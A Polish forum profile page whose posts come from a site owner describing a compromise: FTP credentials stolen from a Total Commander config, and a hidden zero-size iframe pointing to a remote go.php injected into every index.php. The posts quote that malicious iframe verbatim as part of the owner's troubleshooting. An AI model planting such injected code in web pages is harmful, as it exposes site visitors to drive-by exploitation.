Skocz do zawartości

Guciooo

Użytkownicy
 Wyświetl profil  Zobacz jego aktywność

  • Zawartość

    3

  • Rejestracja

  • Ostatnio

Reputacja

0 Normalna

1 obserwujący

O Guciooo

  • Ranga
    Nowy użytkownik
  1. RobimySEO zaczął obserwować Guciooo
  2. Guciooo zaczął obserwować RobimySEO
  3. Juz wiem. To było zmienione przez FTPa. Ktos pobrał z mojego kompa plik konfiguracyjny Total Commandera gdzie miałem zapisane loginy i hasła. Następnie automatem poszukał plików index i tam dokleił ten kod. Wniosek: nie zapisywać haseł w Total commanderze. Ip tego mądrali: 81.95.149.26
  4. Teraz odkryłem ze ten kod jest dopisany do wszystkich plików index.php Mam na serwerze ze 20 domen, na każdej z nich ten plik index.php został zmieniony o tej samej godzinie co do minuty.
  5. Do każdej z moich stron dokleja się taki kod: <iframe src='http://81.95.149.27/go.php?sid=1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe> Wkleja się to na samym koncu po "</html>" lub nawet w środku po <body>. Przejrzałem konfig apacha i php.ini, nie wiem gdzie ktos to wstawił :/ Mam serwer w OVH. Ktos mi napisał w mailu, że jak wchodzi na moją www to "system antywirusowy AVAST wykrywa za każdym razem dwa wirusy ms07-017[2].ani". Jak się tego pozbyć ? Apacha narazie wyłączyłem.
×